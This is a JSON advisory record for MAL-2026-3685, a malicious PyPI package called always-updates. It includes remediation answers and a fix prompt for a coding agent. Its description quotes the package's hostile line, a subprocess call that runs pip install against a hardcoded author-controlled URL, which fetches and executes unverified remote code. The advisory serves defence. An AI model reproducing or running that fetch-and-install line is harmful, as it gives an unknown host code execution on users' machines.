{"answers":{"affected":"1 open source package ship an affected version, including always-updates.","exploited":"There is no known exploitation of MAL-2026-3685 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-3685 is a malicious package in always-updates, published on 12 May 2026."},"fix_prompt":"MAL-2026-3685 is a malicious package: always-updates (PyPI). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-3685/ (Markdown: https://insights.sbomify.com/MAL-2026-3685/index.md)","id":"MAL-2026-3685","markdown":"https://insights.sbomify.com/MAL-2026-3685/index.md","name":"MAL-2026-3685","record":{"aliases":[],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"The package's sole advertised CLI (`aupd`, registered as a console_scripts entry point to always_updates.__main__:main) executes `subprocess.check_call([sys.executable, '-m', 'pip', 'install', 'https://aupd.19700101t000000z.com'])` (always_updates/__main__.py lines 7 and 16). Running the documented command causes pip to download and install an arbitrary Python distribution from a hardcoded author-controlled endpoint: no version pin, no hash/signature verification, destination is not PyPI nor a documented publisher CDN. Because `pip install \u003curl\u003e` executes the downloaded package's setup.py, this is arbitrary remote code execution against the installer's machine by design, with attacker-mutable content served from the author's host. Corroborating soft signals: the endpoint hostname `aupd.19700101t000000z.com` is an anonymously-registered epoch-zero domain, the author email (`alwaysupdates@sixsixsigma.com`) and referenced GitHub org look theatrical/placeholder — matching the generic-placeholder-metadata-plus-network shape. The harm fires when the user runs the CLI, not at `pip install` time, but the package's entire advertised purpose is to fetch-and-execute whatever the author-controlled server returns; every invocation is a new, unverified remote payload.","ecosystems":["PyPI"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in always-updates (PyPI)","id":"MAL-2026-3685","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"PyPI","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"PyPI","fixed":[],"introduced":[],"last_affected":[],"package":"always-updates","purl":"pkg:pypi/always-updates","source":"MAL-2026-3685"}],"products":null,"published":"2026-05-12","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-3685/"}